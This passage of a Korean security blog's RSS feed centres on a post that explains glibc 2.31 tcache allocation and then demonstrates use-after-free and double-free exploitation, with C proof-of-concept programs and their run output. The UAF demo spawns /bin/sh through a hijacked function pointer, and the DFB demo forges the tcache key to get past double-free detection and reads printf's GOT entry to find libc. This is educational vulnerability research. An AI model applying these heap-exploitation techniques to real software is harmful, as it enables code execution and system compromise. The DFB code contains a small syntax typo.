    &lt;p&gt;그 외로, AsRef나 AsMut키워드를 통해 암시적으로 해당 타입으로 변환할 수 있다는 글을 보았지만, 해당 기능을 사용해 본 적은 없다.&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Sat, 17 Dec 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/12/17/Rust-TypeCasting/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/12/17/Rust-TypeCasting/</guid>
      </item>
    
      <item>
        <title>Perthread cache (tcache)에서의 UAF와 DFB</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;free and malloc of perthread cache (tcache)
    &lt;ol&gt;
      &lt;li&gt;free 함수&lt;/li&gt;
      &lt;li&gt;malloc 함수&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;UAF (Use After Free)&lt;/li&gt;
  &lt;li&gt;DFB (Double Free Bug)&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;본 문서에서는 힙 (heap)과 관련된 취약점 (vulnerability)인 UAF (Use After Free), DFB (Double Free Bug)를 perthread cache (tcache)상에서 살펴본다.&lt;/p&gt;

&lt;h1 id=&quot;free-and-malloc-of-perthread-cache-tcache&quot;&gt;free and malloc of perthread cache (tcache)&lt;/h1&gt;
&lt;p&gt;본 문서에서 다루는 UAF, DFB가 왜 가능한지 이해하기 위해서는 malloc 함수의 할당전략에 대해 알 필요가 있다. 다만, 여기서는 Glibc 2.31 버전의 malloc 함수를 다룰 것이기 때문에 Glibc 버전에 따라 본 글에서 다루는 내용과 차이가 있을 수 있다.&lt;/p&gt;

&lt;p&gt;[1]은 Malloc Algorithm과 Free Algorithm을 각각 다음과 같이 설명한다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. Tcache에 적절한 (또는 정확한 크기의) 청크가 있다면, 이것이 호출자에게 리턴된다. 이때, 더 큰 크기의 bin으로부터 가용한 청크를 사용하려고 하지 않는다.

2. 요청이 충분히 크다면, mmap()이 호출되어 운영체제에게 직접적인 메모리 요청을 하게된다. 이때 mmap&apos;ing의 임계값은 M_MMAP_THRESHOLD가 변경 (mallopt 함수 문서 참고) 되지 않는 한, 동적이고, 한 번에 매핑가능한 메모리의 크기에 제한이 있을 수 있다.

3. 만약 적절한 fastbin이 청크를 가지고 있다면, 이를 사용한다. 만약 추가적인 청크가 가용하다면 먼저 tcache를 채운다.

4. 만약 적절한 smallbin이 청크를 가지고 있다면, 이를 사용하고, 또한 먼저 tcache를 채운다.

5. 만약 요청된 크기가 &quot;크다면&quot;, fastbins에 존재하는 모든 것을 unsorted bin으로 옮기면서 병합한다.

6. Unsorted list에서 병합하면서 청크를 꺼내서 small/large bins에 넣는다. 적절한 크기의 청크가 발견되면 이를 사용한다.

7. 만약 요청된 크기가 &quot;크다면&quot;, 적절한 large bin을 찾고, 점점 큰 bins를 찾아나가며, 충분히 큰 청크가 발견될 때까지 찾는다.

8. 아직 fastbins가 여전히 청크를 갖는다면 (이는 &quot;작은&quot; 요청에서도 발생할 수 있다), 병합하고 이전 두 단계를 반복한다.

9. &quot;top&quot; 청크의 부분을 나누고, 이는 &quot;top&quot;을 미리 확장할 수도 있다.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. Tcache에 넣을 곳이 있다면, 청크를 저장하고 리턴한다.

2. 청크가 충분히 작다면, 적절한 fastbin에 저장한다.

3. 만약 청크가 mmap되었다면, munmap한다.

4. 청크가 또다른 청크와 인접한지 확인하고 인접하다면, 병합한다.

5. 해제된 청크가 이제 &quot;top&quot; 청크가 되지 않는 한, unsorted list에 위치시킨다.

6. 만약 청크가 충분히 크다면, 어떤 fastbins와든 병합하고 top 청크가 시스템에 메모리를 줄 수 있을정도로 충분히 큰지 확인한다. 이는 성능 문제로 인해 수행되지 않을 수 있고 malloc 또는 다른 호출에서 수행될 수 있다.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;상기에 서술한 알고리즘은 Glibc 2.31 버전에 tcache (perthread cache)가 도입되어 있고, 일정 크기의 메모리 할당/해제에 대해서는 가장 높은 우선순위를 가짐을 보인다. 그래서 tcache에서의 메모리 할당과 해제를 다룰 것이다.&lt;/p&gt;

&lt;h2 id=&quot;free-함수&quot;&gt;free 함수&lt;/h2&gt;
&lt;p&gt;먼저 메모리의 해제를 살펴보자. [2]는 free 함수를 다음과 같이 기술한다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  if (mem == 0)                              /* free(0) has no effect */
    return;

  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* See if the dynamic brk/mmap threshold needs adjusting.
	 Dumped fake mmapped chunks do not affect the threshold.  */
      if (!mp_.no_dyn_threshold
          &amp;amp;&amp;amp; chunksize_nomask (p) &amp;gt; mp_.mmap_threshold
          &amp;amp;&amp;amp; chunksize_nomask (p) &amp;lt;= DEFAULT_MMAP_THRESHOLD_MAX
	  &amp;amp;&amp;amp; !DUMPED_MAIN_ARENA_CHUNK (p))
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }

  MAYBE_INIT_TCACHE ();

  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}
libc_hidden_def (__libc_free)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드에서 hook과 mmaped if 블록은 관심대상이 아니다. 이들을 제외한다면, free 함수의 동작은 전달된 메모리 주소가 NULL인지 아닌지 확인하고 메모리를 청크로 변환한 다음 메모리 해제를 수행하는 것이 된다. 이때 [2]는 mem2chunk를 매크로 함수로 다음과 같이 정의한다. 즉, (사용자 프로그램에 리턴된 주소가 아닌) 실제 청크의 주소를 구하는 것이다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그리고 tcache가 아직 초기화되지 않은 경우에는 tcache_init()을 쓰기 위해 MAYBE_INIT_TCACHE 매크로를 사용하는데 [2]는 이를 다음과 같이 정의한다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;# define MAYBE_INIT_TCACHE() \
  if (__glibc_unlikely (tcache == NULL)) \
    tcache_init();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그리고 청크의 arena를 얻는 작업을 진행하는데 이는 [3]이 정의하는 arena_for_chunk 매크로가 수행한다. 그러나 이미 초기 메모리 할당이 tcache로 이루어졌기 때문에 arena에서 수행될 작업은 없고 tcache의 영역에서 메모리 해제 작업을 수행하게 된다. 이는 _int_free 함수의 역할이고, [2]는 이 함수를 다음과 같이 정의한다 (tcache 부분까지 발췌).&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* When &quot;x&quot; is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

...

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

  /* Little security check which won&apos;t hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by &quot;design&quot; from some intruder.  */
  if (__builtin_expect ((uintptr_t) p &amp;gt; (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr (&quot;free(): invalid pointer&quot;);
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size &amp;lt; MINSIZE || !aligned_OK (size)))
    malloc_printerr (&quot;free(): invalid size&quot;);

  check_inuse_chunk(av, p);

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL &amp;amp;&amp;amp; tc_idx &amp;lt; mp_.tcache_bins)
      {
	/* Check to see if it&apos;s already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don&apos;t 100%
	   trust it (it also matches random payload data at a 1 in
	   2^&amp;lt;size_t&amp;gt; chance), so verify it&apos;s not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e-&amp;gt;key == tcache))
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache-&amp;gt;entries[tc_idx];
		 tmp;
		 tmp = tmp-&amp;gt;next)
	      if (tmp == e)
		malloc_printerr (&quot;free(): double free detected in tcache 2&quot;);
	    /* If we get here, it was a coincidence.  We&apos;ve wasted a
	       few cycles, but don&apos;t abort.  */
	  }

	if (tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 코드에 따라 해제된 메모리는 tcache에 저장된다 (#if 블록). 여기서 우리는 tcache와 tcache에서의 메모리 해제가 어떻게 동작하는지 확인할 필요가 있다.  [2]가 다음과 같이 정의하는 tcache는 일반적인 청크와 달리 tcache_perthread_struct라는 구조체로 정의된다. 그리고 tcache에 존재하는 bins의 entry는 tcache_entry라는 구조체로 정의된다. 그래서 tcache에서의 메모리 할당/해제를 처리하는 경우에는 chunk2mem 매크로가 사용된다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* There is one of these for each thread, which contains the
   per-thread cache (hence &quot;tcache_perthread_struct&quot;).  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위의 tcache_entry 구조체를 통해서 tcache는 단일 연결 리스트 (single linked list)로 동작함을 알 수 있다. 그리고 [2]가 다음과 같이 정의하는 tcache_put()을 통해 LIFO (Last In First Out) 구조의 형태로 동작한다는 것을 알 수 있다. 여기서 tcache에서의 entry는 각 tcache bins의 head 노드가 된다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* Caller must ensure that we know tc_idx is valid and there&apos;s room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as &quot;in the tcache&quot; so the test in _int_free will
     detect a double free.  */
  e-&amp;gt;key = tcache;

  e-&amp;gt;next = tcache-&amp;gt;entries[tc_idx];
  tcache-&amp;gt;entries[tc_idx] = e;
  ++(tcache-&amp;gt;counts[tc_idx]);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;따라서 할당된 메모리가 해제되면 tcache entry는 다음과 같이 변경된다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[기존의 entry] -&amp;gt; [ 메모리 ] -&amp;gt; [ 메모리 ] -&amp;gt; ... -&amp;gt; NULL
|
|
V
[ 해제된 메모리  (새로운 entry) ] -&amp;gt; [ 기존의 entry ] -&amp;gt; [ 메모리 ] -&amp;gt; ...
-&amp;gt; NULL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;malloc-함수&quot;&gt;malloc 함수&lt;/h2&gt;
&lt;p&gt;이제 메모리 할당 과정을 살펴보자. 상기에 서술하였듯이 Malloc Algorithm은 tcache에 가장 높은 우선순위를 부여한다. [2]는 이러한 Malloc Algorithm을 다음과 같이 구현한다 (tcache 부분까지 발췌).&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* When &quot;x&quot; is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

...

/* pad request bytes into a usable size -- internal version */

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK &amp;lt; MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) &amp;amp; ~MALLOC_ALIGN_MASK)

/* Check if REQ overflows when padded and aligned and if the resulting value
   is less than PTRDIFF_T.  Returns TRUE and the requested size or MINSIZE in
   case the value is less than MINSIZE on SZ or false if any of the previous
   check fail.  */
static inline bool
checked_request2size (size_t req, size_t *sz) __nonnull (1)
{
  if (__glibc_unlikely (req &amp;gt; PTRDIFF_MAX))
    return false;
  *sz = request2size (req);
  return true;
}

...

void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX &amp;lt;= SIZE_MAX / 2,
                  &quot;PTRDIFF_MAX is not more than half of SIZE_MAX&quot;);

  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &amp;amp;tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx &amp;lt; mp_.tcache_bins
      &amp;amp;&amp;amp; tcache
      &amp;amp;&amp;amp; tcache-&amp;gt;counts[tc_idx] &amp;gt; 0)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드에 따라 tcache_get()이 메모리를 할당하게 되고 이는 [2]가 다음과 같이 정의한다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* Caller must ensure that we know tc_idx is valid and there&apos;s
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache-&amp;gt;entries[tc_idx];
  tcache-&amp;gt;entries[tc_idx] = e-&amp;gt;next;
  --(tcache-&amp;gt;counts[tc_idx]);
  e-&amp;gt;key = NULL;
  return (void *) e;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드에 따라 tcache_get()은 tc_idx로 참조되는 리스트의 entry (head 노드)를 리턴한다. 이때, tc_idx는 요청된 크기와 이미 정의된 매크로인 MINSIZE, MALLOC_ALIGNMENT에 의존한다.&lt;/p&gt;

&lt;h1 id=&quot;uaf-use-after-free&quot;&gt;UAF (Use After Free)&lt;/h1&gt;
&lt;p&gt;UAF 취약점은 이름에서도 유추할 수 있듯이 메모리를 free한 후에도 이를 사용할 수 있을 때 발생한다. 즉, 이 취약점이 발생하는 상황은 일정 크기의 메모리가 할당되고 해제된 후에 다시 같은 크기의 메모리가 할당되는 것이다. 그럼 앞서 설명한 malloc 함수와 free 함수의 동작을 할당/해제/재할당이라는 상황에 비추어 살펴보자.&lt;/p&gt;

&lt;p&gt;먼저 상기에 서술한 malloc 함수와 free 함수의 동작을 정리하면 여기서 관심을 가지는 상황에서는 tcache의 영역에서 메모리의 해제와 할당이 이루어지고 이 과정은 tcache의 tc_idx로 참조되는 LIFO 구조의 단일 연결 리스트상에서 수행된다. 여기서 tc_idx는 요청된 크기와 이미 정의된 값에 의존하므로 요청된 크기가 이미 해제된 메모리의 크기와 같거나 같은 범위 내에 있다면 해제된 메모리가 존재하는 리스트에서 할당/해제가 이루어지게 된다. 이로부터 메모리를 할당하고 해제한 후에 이와 같은 크기의 메모리 할당 요청을 한다면 동일한 메모리 주소가 리턴될 것이라는 결론을 내릴 수 있다.&lt;/p&gt;

&lt;p&gt;상기의 결론은 만약 메모리를 할당하고 해제한 후에 같은 크기로 재할당한 메모리로 어떤 작업을 수행한다고 할 때, 이전에 할당되었던 메모리의 데이터가 사라지지는 않음을 의미한다. 이는 할당/해제 과정에서 일정 범위의 데이터에는 어떠한 연산도 수행되지 않기 때문이다. 이는 다음 예시 코드가 설명한다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

struct foo {
       char buf[8];
       void (*func)(void);
};

/* vuln: 0x400646 */
void vuln(void)
{
	system(&quot;/bin/sh&quot;);
}

/* gcc -no-pie uaf.c -o uaf */
int main(int argc, char *argv[])
{
	struct foo *mem1, *mem2, *mem3;

	if (argc != 2) return -1;

	mem1 = malloc(sizeof(struct foo));
	mem2 = malloc(sizeof(struct foo));
	strcpy(mem1-&amp;gt;buf, argv[1]);
	printf(&quot;mem1: %p\n&quot;, mem1);
	printf(&quot;mem2: %p\n&quot;, mem2);
	free(mem1);
	mem3 = malloc(sizeof(struct foo));
	printf(&quot;mem3: %p\n&quot;, mem3);
	printf(&quot;mem3-&amp;gt;func: %p\n&quot;, mem3-&amp;gt;func);
	mem3-&amp;gt;func();
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드를 실행한 결과는 다음과 같다.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;jky@DESKTOP-1D1MMF0:~/c_programming&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./uaf &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;AAAAAAAA&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;46&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;00&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
mem1: 0x8e1010
mem2: 0x8e1030
mem3: 0x8e1010
mem3-&amp;gt;func: 0x400646
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;jky@DESKTOP-1D1MMF0:~/c_programming&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 실행 결과를 보면 mem1과 mem3의 주소가 같고, mem1에 저장되었던 데이터의 일부가 mem3에서 아직 남아있음을 알 수 있다. 다만, 위의 예시에서는 함수의 주소를 미리 알 수 있었지만 대부분의 경우에는 ASLR과 PIE의 도입으로 불가능하다. 따라서 메모리 읽기 프리미티브와 연계되어 사용되어야 할 것이다. 또는, 함수의 주소에 대한 예측이 필요할 것이다.&lt;/p&gt;

&lt;h1 id=&quot;dfb-double-free-bug&quot;&gt;DFB (Double Free Bug)&lt;/h1&gt;
&lt;p&gt;DFB도 이름에서 유추할 수 있듯이 메모리를 두 번 free할 수 있을 때 발생하는 취약점이다.&lt;/p&gt;

&lt;p&gt;Perthread cache (tcache)의 메모리 해제 과정을 다시 살펴보면 tcache bin의 head 노드를 변경하는 방식으로 메모리를 free list에 추가하여 해제를 수행한다. 이때 같은 메모리를 두 번 연속으로 해제하게 되면 아무런 방어기제가 없다고 가정했을 때 다음과 같이 free list가 구성된다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. 메모리 할당 (주소: 0x23922a0)

2. 할당된 메모리 해제
   tcache_entry -&amp;gt; [ 0x23922a0 ] -&amp;gt; NULL

3. 같은 메모리 해제 (두 번 연속으로 해제)
   tcache_entry -&amp;gt; [ 0x23922a0 ] -&amp;gt; [ 0x23922a0 ] -&amp;gt; NULL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;그리고 tcache의 메모리 할당 과정을 다시 생각해보면 tcache bin의 head 노드를 변경하여 할당하므로 같은 범위 내의 크기가 요청된다면 두 번 연속으로 해제된 메모리가 있는 리스트에서 같은 메모리를 두 번 할당하게 된다. 그러나 이는 [2]가 정의한 free 함수에서 __glibc_unlikely (e-&amp;gt;key == tcache)를 조건문으로 가지는 if 블록에 의해 탐지될 수 있다. 그러나 반대로, 이 if 블록에 걸리지 않는다면 double free는 tcache상에서 탐지되지 못하므로 이 방법으로 우회할 수 있다. 다만, 이는 해제된 메모리에 대한 쓰기 프리미티브가 존재하는 상황에서 성립한다. 이때 tcache의 key 멤버변수는 next 멤버변수 다음에 위치하므로 next의 크기만큼 더한 위치의 메모리에 어떤 값이든 쓸 수 있다면 앞서 언급한 if 블록에 걸리지 않게 된다. 이는 다음과 같은 메모리 구성을 의미한다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;할당된 메모리:
+---------------+
|   data        |&amp;lt;--next
+---------------+
|   data        |&amp;lt;--key
+---------------+
|    ....       |
+---------------+

메모리 해제 시, double free 방어기제 적용:
+---------------+
|   next        |
+---------------+
|   key         |&amp;lt;-- tcache (전역변수)에 저장된 값
+---------------+
|    ....       |
+---------------+

메모리 해제 후, key 조작:
+---------------+
|   next        |
+---------------+
|   0x41...     |&amp;lt;-- tcache (전역변수)의 값과 달라지므로 if 블록 통과
+---------------+
|    ....       |
+---------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이렇게 double free가 가능한 상황에서 next 멤버변수를 조작하여 double free를 임의 메모리 읽기/쓰기 프리미티브로 만들 수 있다. 이는 다음과 같이 free list를 구성한다는 것을 의미한다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ 할당될 메모리 ] -&amp;gt; [ 0x4141414141... ] -&amp;gt; ...
                ^
                |
                +---조작된 next 멤버변수
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이를 다음과 같은 예시 코드로 살펴보자.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

/* gcc -no-pie dfb.c -o dfb */
int main()
{
    unsigned char *mem1, *mem2, *mem3;
    unsigned char *libc_base_addr;

    mem1 = malloc(4);
    printf(&quot;mem1: %p\n&quot;, mem1);
    free mem1);
    *(mem1 + 8) = 0xef;
    free (mem1);
    *((uint64_t *) mem1) = 0x0000000000404020; /* address of printf (GOT) */
    mem2 = malloc(4);
    printf(&quot;mem2: %p\n&quot;, mem2);
    printf(&quot;mem2-&amp;gt;next: %016lx\n&quot;, *((uint64_t *) mem2));
    mem3 = malloc(4);
    printf(&quot;mem3: %p\n&quot;, mem3);
    
    /* At this point, mem3 content is the absolute address of printf */
    printf(&quot;mem3 content: %016lx\n&quot;, *((uint64_t *) mem3));

    /* 0x61cc0 is a index of printf in libc.so.6 */
    libc_base_addr = *((uint64_t *) mem3) - 0x61cc0;
    printf(&quot;libc base address: %016lx\n&quot;, libc_base_addr);

    /* 0x1b45bd is a index of /bin/sh string in libc.so.6 */
    printf(&quot;/bin/sh: %p %s\n&quot;, libc_base_addr + 0x1b45bd,
    		     	       libc_base_addr + 0x1b45bd);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드를 실행하면 다음과 같은 결과를 얻는다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mem1: 0x7f82a0
mem2: 0x7f82a0
mem2-&amp;gt;next: 0000000000404020
mem3: 0x404020
mem3 content: 00007fb4d4001cc0
libc base address: 00007fb4d4d3fa000
/bin/sh: 0x7fb4d41545bd /bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;정리하면 해제된 메모리에 대한 쓰기 프리미티브가 존재하는 상황에서는 tcache상에서 할당된 메모리를 해제했을 때의 key 멤버변수를 조작하여 double free 방어기법을 우회할 수 있다. 그리고 이러한 상황에서 next 멤버변수를 조작하여 임의 메모리 읽기 (상기 예시 코드에서는 printf()의 GOT)가 가능하고 또한 쓰기도 가능함을 유추할 수 있다.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[1] Carlos Donell et al., “MallocInternals”, glibc wiki, 2022. [Online]. Available: https://sourceware.org/glibc/wiki/MallocInternals, [Accessed Jul. 01, 2022]&lt;/p&gt;

&lt;p&gt;[2] “malloc.c”, GNU, 2020. [Online]. Available: http://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.gz, [Accessed Jul. 02, 2022]&lt;/p&gt;

&lt;p&gt;[3] “arena.c”, GNU, 2020. [Online]. Available: http://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.gz, [Accessed Jul. 02, 2022]&lt;/p&gt;
</description>
        <pubDate>Wed, 07 Sep 2022 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Heap_overflow/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Heap_overflow/</guid>
      </item>
    
      <item>
        <title>백준 11659 문제풀이</title>
        <description>&lt;h2 id=&quot;11659-문제풀이&quot;&gt;11659 문제풀이&lt;/h2&gt;

&lt;h3 id=&quot;문제&quot;&gt;문제&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;수 N개가 주어졌을 때, i번째 수부터 j번째 수까지 합을 구하는 프로그램을 작성하시오.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;입력&quot;&gt;입력&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;첫째 줄에 수의 개수 N과 합을 구해야 하는 횟수 M이 주어진다. 둘째 줄에는 N개의 수가 주어진다. 수는 1,000보다 작거나 같은 자연수이다. 셋째 줄부터 M개의 줄에는 합을 구해야 하는 구간 i와 j가 주어진다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;출력&quot;&gt;출력&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;총 M개의 줄에 입력으로 주어진 i번째 수부터 j번째 수까지 합을 출력한다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;문제풀이&quot;&gt;문제풀이&lt;/h3&gt;

&lt;p&gt;최근 러스트 언어를 공부하고 있기에 Rust 프로그램을 사용하여 작성해보았는데, 매우 간단하게 시간초과가 떴다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;fn main() {
    let mut input = String::new();

    std::io::stdin().read_line(&amp;amp;mut input).unwrap();
    let (input_count, output_count) = input.trim_end().split_once(&quot; &quot;).unwrap();
